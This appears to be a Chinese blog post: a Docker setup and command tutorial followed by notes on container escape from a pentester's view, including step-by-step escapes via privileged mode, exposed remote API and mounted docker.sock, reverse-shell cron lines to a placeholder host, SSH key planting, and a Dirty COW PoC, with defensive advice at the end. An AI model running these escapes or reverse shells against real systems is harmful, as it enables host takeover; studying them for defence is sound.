Docker

docker 介绍

Get Docker | Docker Docs

简介

Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源。

Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。

容器是完全使用沙箱机制,相互之间不会有任何接口,更重要的是容器性能开销极低。

应用场景

  • Web 应用的自动化打包和发布。
  • 自动化测试和持续集成、发布。
  • 在服务型环境中部署和调整数据库或其他的后台应用。
  • 从头编译或者扩展现有的 OpenShift 或 Cloud Foundry 平台来搭建自己的 PaaS 环境。

docker 环境配置

docker 安装

更新软件包索引,并且安装必要的依赖软件

sudo apt update
sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common

curl 导入源仓库的 GPG key

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

将 Docker APT 软件源添加到系统

sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

Docker 软件源被启用,现在可以安装软件源中任何可用的 Docker 版本

安装 Docker 最新版本

sudo apt update
sudo apt install docker-ce docker-ce-cli containerd.io

验证安装

sudo systemctl status docker

Compose 安装

下载 Docker Compose 的当前稳定版本

sudo curl -L "https://github.com/docker/compose/releases/download/v2.2.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

将可执行权限应用于二进制文件

sudo chmod +x /usr/local/bin/docker-compose

创建软链

sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose

测试是否安装成功

docker-compose version

docker 镜像制作

Dockfile详解,docker-compose.yml-阿里云开发者社区 (aliyun.com)

Overview | Docker Documentation

docker-compose.yml 的配置案例

文件配置

compose 文件是一个定义服务、 网络和卷的 YAML 文件 。Compose 文件的默认路径是 ./docker-compose.yml

(200条消息) docker-compose.yml 配置文件编写详解_docker-compose.yml 编写_种子选手的博客-CSDN博客

案例:

version: '2'
services:
    web: 
        build: .
        ports:
            - '80:80'
        stdin_open: true
        tty: true
        volumes:
            - ./html:/var/www/html
            - ./logs:/var/log/apache2
            - ./flag:/flag

创建 Dockerfile 文件

Dockerfile 一般分为四部分:基础镜像信息、维护者信息、镜像操作指令和容器启动时执行指令,’#’ 为 Dockerfile 中的注释。

image

案例:

FROM nickistre/ubuntu-lamp
MAINTAINER xiaoxiao  
RUN apt-get update && apt-get dist-upgrade -y
ADD ./html/ /var/www/html/
RUN chown www-data:www-data /var/www/html/* -R
EXPOSE 80

Dockfile常用指令说明

  • FROM:指定基础镜像,必须为第一个命令
格式:
  FROM <image>
  FROM <image>:<tag>
  FROM <image>@<digest>
示例:
  FROM mysql:5.6
注:
  tag或digest是可选的,如果不使用这两个值时,会使用latest版本的基础镜像
  • MAINTAINER: 维护者信息
格式:
    MAINTAINER <name>
示例:
    MAINTAINER Jasper Xu
    MAINTAINER sorex@163.com
    MAINTAINER Jasper Xu <sorex@163.com>
  • RUN:构建镜像时执行的命令
RUN用于在镜像容器中执行命令,其有以下两种命令执行方式:
shell执行
格式:
    RUN <command>
exec执行
格式:
    RUN ["executable", "param1", "param2"]
示例:
    RUN ["executable", "param1", "param2"]
    RUN apk update
    RUN ["/etc/execfile", "arg1", "arg1"]
注:
  RUN指令创建的中间镜像会被缓存,并会在下次构建中使用。如果不想使用这些缓存镜像,可以在构建时指定--no-cache参数,如:docker build --no-cache
  • ADD:将本地文件添加到容器中,tar类型文件会自动解压(网络压缩资源不会被解压),可以访问网络资源,类似wget
格式:
    ADD <src>... <dest>
    ADD ["<src>",... "<dest>"] 用于支持包含空格的路径
示例:
    ADD hom* /mydir/          # 添加所有以"hom"开头的文件
    ADD hom?.txt /mydir/      # ? 替代一个单字符,例如:"home.txt"
    ADD test relativeDir/     # 添加 "test" 到 `WORKDIR`/relativeDir/
    ADD test /absoluteDir/    # 添加 "test" 到 /absoluteDir/
  • COPY:功能类似ADD,但是是不会自动解压文件,也不能访问网络资源
  • CMD:构建容器后调用,也就是在容器启动时才进行调用。
格式:
    CMD ["executable","param1","param2"](执行可执行文件,优先)
    CMD ["param1","param2"](设置了ENTRYPOINT,则直接调用ENTRYPOINT添加参数)
    CMD command param1 param2 (执行shell内部命令)
示例:
    CMD echo "This is a test." | wc -
    CMD ["/usr/bin/wc","--help"]
注:
   CMD不同于RUN,CMD用于指定在容器启动时所要执行的命令,而RUN用于指定镜像构建时所要执行的命令。
  • ENTRYPOINT:配置容器,使其可执行化。配合CMD可省去"application",只使用参数。
格式:
    ENTRYPOINT ["executable", "param1", "param2"](可执行文件, 优先)
    ENTRYPOINT command param1 param2 (shell内部命令)
示例:
    FROM ubuntu
    ENTRYPOINT ["top", "-b"]
    CMD ["-c"]
注:
   ENTRYPOINT与CMD非常类似,不同的是通过docker run执行的命令不会覆盖ENTRYPOINT,而docker run命令中指定的任何参数,都会被当做参数再次传递给ENTRYPOINT。Dockerfile中只允许有一个ENTRYPOINT命令,多指定时会覆盖前面的设置,而只执行最后的ENTRYPOINT指令。
  • ENTRYPOINT 和 CMD的区别
与CMD比较说明(这俩命令太像了,而且还可以配合使用):

1. 相同点:

只能写一条,如果写了多条,那么只有最后一条生效

容器启动时才运行,运行时机相同

 

2. 不同点:

 ENTRYPOINT不会被运行的command覆盖,而CMD则会被覆盖

 如果我们在Dockerfile种同时写了ENTRYPOINT和CMD,并且CMD指令不是一个完整的可执行命令,那么CMD指定的内容将会作为ENTRYPOINT的参数

如下:

FROM ubuntu
ENTRYPOINT ["top", "-b"]
CMD ["-c"]
如果我们在Dockerfile种同时写了ENTRYPOINT和CMD,并且CMD是一个完整的指令,那么它们两个会互相覆盖,谁在最后谁生效

如下:

FROM ubuntu
ENTRYPOINT ["top", "-b"]
CMD ls -al
那么将执行ls -al ,top -b不会执行。

image

  • LABEL:用于为镜像添加元数据
格式:
    LABEL <key>=<value> <key>=<value> <key>=<value> ...
示例:
  LABEL version="1.0" description="这是一个Web服务器" by="IT笔录"
注:
  使用LABEL指定元数据时,一条LABEL指定可以指定一或多条元数据,指定多条元数据时不同元数据之间通过空格分隔。推荐将所有的元数据通过一条LABEL指令指定,以免生成过多的中间镜像。
  • ENV:设置环境变量
格式:
    ENV <key> <value>  #<key>之后的所有内容均会被视为其<value>的组成部分,因此,一次只能设置一个变量
    ENV <key>=<value> ...  #可以设置多个变量,每个变量为一个"<key>=<value>"的键值对,如果<key>中包含空格,可以使用\来进行转义,也可以通过""来进行标示;另外,反斜线也可以用于续行
示例:
    ENV myName John Doe
    ENV myDog Rex The Dog
    ENV myCat=fluffy
  • EXPOSE:指定于外界交互的端口
格式:
    EXPOSE <port> [<port>...]
示例:
    EXPOSE 80 443
    EXPOSE 8080
    EXPOSE 11211/tcp 11211/udp
注:
  EXPOSE并不会让容器的端口访问到主机。要使其可访问,需要在docker run运行容器时通过-p来发布这些端口,或通过-P参数来发布EXPOSE导出的所有端口
  • VOLUME:用于指定持久化目录
格式:
    VOLUME ["/path/to/dir"]
示例:
    VOLUME ["/data"]
    VOLUME ["/var/www", "/var/log/apache2", "/etc/apache2"
注:
  一个卷可以存在于一个或多个容器的指定目录,该目录可以绕过联合文件系统,并具有以下功能:
卷可以容器间共享和重用
容器并不一定要和其它容器共享卷
修改卷后会立即生效
对卷的修改不会对镜像产生影响
卷会一直存在,直到没有任何容器在使用它
  • WORKDIR:工作目录,类似于cd命令
格式:
    WORKDIR /path/to/workdir
示例:
    WORKDIR /a  (这时工作目录为/a)
    WORKDIR b  (这时工作目录为/a/b)
    WORKDIR c  (这时工作目录为/a/b/c)
注:
  通过WORKDIR设置工作目录后,Dockerfile中其后的命令RUN、CMD、ENTRYPOINT、ADD、COPY等命令都会在该目录下执行。在使用docker run运行容器时,可以通过-w参数覆盖构建时所设置的工作目录。
  • USER:指定运行容器时的用户名或 UID,后续的 RUN 也会使用指定用户。使用USER指定用户时,可以使用用户名、UID或GID,或是两者的组合。当服务不需要管理员权限时,可以通过该命令指定运行用户。并且可以在之前创建所需要的用户
格式:
  USER user
  USER user:group
  USER uid
  USER uid:gid
  USER user:gid
  USER uid:group
 示例:
      USER www
 注:
  使用USER指定用户后,Dockerfile中其后的命令RUN、CMD、ENTRYPOINT都将使用该用户。镜像构建完成后,通过docker run运行容器时,可以通过-u参数来覆盖所指定的用户。
  • ARG:用于指定传递给构建运行时的变量
格式:
    ARG <name>[=<default value>]
示例:
    ARG site
    ARG build_user=www
  • ONBUILD:用于设置镜像触发器
格式:
  ONBUILD [INSTRUCTION]
示例:
  ONBUILD ADD . /app/src
  ONBUILD RUN /usr/local/bin/python-build --dir /app/src
注:
  当所构建的镜像被用做其它镜像的基础镜像,该镜像中的触发器将会被钥触发

使用

sudo docker-compose up -d

docker 命令

docker 进程

docker 进程启动、停止、重启,

# 启动docker
service docker start
# 关机docker
service docker stop
# 重启docker
service docker restart

镜像操作

镜像作为容器执行的前提条件:下载,删除,创建

# 镜像列表
docker images
# 检索镜像, 从镜像仓库中检索
docker search xxx
# 下载镜像
docker pull xxx
# 删除镜像
docker rmi xxx

容器操作

容器的各种操作,启动,关闭,重启,日志查询以及各种进入容器内部

a. run

加载镜像,创建容器

docker run 镜像名:版本

run 后面可以跟很多的参数,比如容器暴露端口指定,存储映射,权限等等

case1: 创建并后台执行

docker run -i -t -d centos:latest
  • 其中关键参数为-d,指定容器运行与前台或者后台,不加上时前台
  • -i: 打开 STDIN,用于控制台交互
  • -t: 支持终端登录

case2: 运行一个带命令在后台不断执行的容器

docker run -d centos:latest ping www.baidu.com

case3: 运行一个在后台不断执行的容器,同时带有命令,程序被终止后还能重启继续跑

docker run -d --restart=always centos:latest ping www.baidu.com

case4: 指定容器名

docker run -d --name=yhh_centos centos:latest

case5: 暴露容器端口 80,并与宿主机端口 8080 绑定

docker run -d --name=yhh_centos -p 8080:80 centos:latest

case6: 指定容器与宿主机目录(/home/yihui/html/www)共享

docker run -d --name=yhh_centos -v /home/yihui/html/www:/var/www centos:latest

b. 基操

容器创建完毕之后,就是一些基本操作了,启动、停止、重启、删除

# 查看容器列表, 列出所有的容器
docker ps -a
# 启动容器,start后面可以跟上容器名,或者容器id
docker start xxx  # (这里的xxx可以是容器名:yhh_centos 也可以是容器id:f57398ab22c5)
# 关闭容器
docker stop xxx
# 重启
docker restart xxx
# 删除
docker rm xxx

在查看容器列表时,如果某个容器的启动参数特别长,直接使用docker ps -a会发现看不到完整的启动命令,这个时候可以带上参数--no-trunc来显示完整命令

docker ps -a --no-trunc

c. 进阶

接下来进入一些容器的高级操作技巧,这里创建一个容器作为测试

docker run -it -d --name=yhhos centos

容器日志查询

日志,定位问题的神器

# 查询xxx容器的日志
docker logs yhhos

基本上不太会直接使用上面的命令,因为上面把所有的日志都打印出来了。

一般日志可以加两个参数 -f, -t

docker logs -f -t --since="2019-05-11" --tail=10 yhhos
  • --since : 此参数指定了输出日志开始日期,即只输出指定日期之后的日志。
  • -f : 查看实时日志
  • -t : 查看日志产生的日期
  • --tail=10 : 查看最后的 10 条日志。

文件拷贝

将容器的某个文件捞出来;或者强塞,一个 cp 即可

# 将当前目录的test.md文件拷贝到容器的 /tmp 目录下
docker cp test.md yhhos:/tmp

# 将容器的/tmp/test.md目录拷贝到当前目录下
docker cp yhhos:/tmp/test.md ./out.md

进入容器

进入容器内部,然后就可以为所欲为了...

docker exec -it yhhos(或者id) /bin/bash

获取容器所有信息

docker inspect yhhos

docker 一个镜像创建多个容器

本质是不同端口进行映射

sudo docker create --name testdocker -p 5000:80 zhenlei1970/testdockernew

docker 容器逃逸

技术干货 | Docker 容器逃逸案例汇集 - 知乎 (zhihu.com)

初识Docker逃逸 - FreeBuf网络安全行业门户

漏洞复现- - -CVE-2016-5195 Dirty Cow脏牛提权漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

参考源于上面师傅文章,引用以作学习之用!

背景

在实际渗透过程中,获得主机的Webshell,这时我们的攻击点可能处于服务器的一个虚拟目录里,一台虚拟机或是一台物理机,甚至是在一个Docker容器里。

如果Webshell位于Docker容器中,该如何破局,进一步获取目标主机权限呢?

docker环境判断

判断webshell是否位于docker中,有如下方法:

1. cat /proc/1/cgroup # 查询系统进程的cgroup信息

2. fdisk -l # 为空,判断为docker 容器环境

3. ls -al / # 查看是否存在docker 相关文件【如: .dockerenv 】

Docker逃逸原因

内核漏洞引起 ——Dirty COW(CVE-2016-5195)

漏洞复现- - -CVE-2016-5195 Dirty Cow脏牛提权漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

简介

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

形成原因

在Linux程序中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,linux中引入了“写时复制“技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。

竞态条件(race condition)是指设备或系统出现不恰当的执行时序,而得到不正确的结果。

利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。
容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。

条件

docker与宿主机共享内核,且宿主机的内核有dirty cow漏洞。

利用

1、测试容器下载并运行:

git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash

2、进入容器,编译POC并执行:

cd /dirtycow-vdso/
make
./0xdeadbeef X.X.X.X:1234

3、在X.X.X.X监听本地1234端口,成功接收到宿主机反弹的shell。

Docker 软件设计引起的逃逸

Shocker 攻击
漏洞描述:

从Docker容器逃逸并读取到主机某个目录的文件内容。Shocker攻击的关键是执行了系统调用open_by_handle_at函数,Linux手册中特别提到调用open_by_handle_at函数需要具备CAP_DAC_READ_SEARCH能力,而Docker1.0版本对Capability使用黑名单管理策略,并且没有限制CAP_DAC_READ_SEARCH能力,因而引发了容器逃逸的风险。

漏洞影响版本:

Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本。

github项目地址:https://github.com/gabrtv/shock

runC容器逃逸漏洞(CVE-2019-5736)
漏洞简述:

Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

利用条件:

Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情况下,可通过 docker 和docker-runc 查看当前版本情况。

Docker cp命令可导致容器逃逸攻击漏洞(CVE-2019-14271)

漏洞描述:

当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss_.so库。黑客可以通过在容器中替换libnss_.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。

影响版本:

Docker 19.03.0

安全版本:

升级至安全版本 Docker 19.03.1及以上。

配置不当引发的docker逃逸

docker remote api未授权访问
漏洞简述:

docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。

sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

通过docker api 执行docker命令。

#列出容器信息,效果与docker ps一致。 
curl http://X.X.X.X:2375/containers/json 

#启动容器
docker -H tcp://X.X.X.X:2375 ps -a
漏洞利用:

A、新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

【权限足够的情况,也可以直接通过挂载,在主机中写入ssh公钥,进行远程连接】

sudo docker -H tcp://X.X.X.X:2375 run -it -v /:/mnt nginx:latest /bin/bash

B、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root,通过计划任务完成反弹shell

echo '* * * * * /bin/bash -i >& /dev/tcp/X.X.X.X/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

C、本地监听端口,获取对方宿主机shell。

docker.sock挂载到容器内部
场景描述:

简单来说就是docker in docker,在docker容器中调用和执行宿主机的docker,将docker宿主机的docker文件和docker.sock文件挂载到容器中,具体为:

docker run --rm -it \
  -v /var/run/docker.sock:/var/run/docker.sock \
  -v /usr/bin/docker:/usr/bin/docker \
  ubuntu \
  /bin/bash
漏洞利用:

A、在容器中找到docker.sock

root@95a280bc5a19:/# find / -name docker.sock
/run/docker.sock

B、在容器查看宿主机docker信息:

docker -H unix:///var/run/docker.sock info

C、运行一个新容器并挂载宿主机根路径:

docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash

D、在新容器的/test 目录下,就可以访问到宿主机的全部资源,接下来就是写入ssh密钥或者写入计划任务,获取shell。

ls -al /test
docker 高危启动参数-特权模式

docker中存在一些比较高危的启动命令,给予容器较大的权限,允许执行一些特权操作,在一定的条件下,可以导致容器逃逸。

docker run --rm -it 
    --privileged 
    -v /:/soft 
    --cap-add=SYS_ADMIN 
    --net=host  
    --pid=host    
    --ipc=host 
    ubuntu 
    /bin/bash
特权模式(--privileged)

使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

漏洞利用1:

A、通过特权模式运行一个容器:

sudo docker run -itd --privileged ubuntu:latest /bin/bash

B、在容器内,查看磁盘文件

fdisk -l

C、将/dev/sda1 挂载到新建目录

mkdir /test
mount /dev/sda1 /test

D、将计划任务写入到宿主机

echo '* * * * * /bin/bash -i >& /dev/tcp/X.X.X.X/12345 0>&1' >> /test/var/spool/cron/crontabs/root

E、开启nc监听,成功获取宿主机反弹回来的shell。

挂载敏感目录(-v /:/soft)

漏洞利用2:

A、将宿主机root目录挂载到容器

docker run -itd -v /root:/root ubuntu:18.04 /bin/bash

B、模拟攻击者写入ssh密钥

mkdir /root/.ssh
cat id_rsa.pub >> /root/.ssh/authorized_keys

C、利用私钥成功登录。获取宿主机权限。

相关启动参数存在的安全问题:

Docker 通过Linux namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。

--cap-add=SYS_ADMIN  启动时,允许执行mount特权操作,需获得资源挂载进行利用。
    --net=host           启动时,绕过Network Namespace
    --pid=host           启动时,绕过PID Namespace
    --ipc=host           启动时,绕过IPC Namespace

防御docker逃逸

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本 > 1.0-rc6
3、k8s 集群版本 > 1.12
4、Linux内核版本 >= 2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本 >= 4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
6、不建议以root权限运行Docker服务
7、不建议以privileged(特权模式)启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险
posted @ 2023-08-31 15:57  Only-xiaoxiao  阅读(40)  评论(0编辑  收藏  举报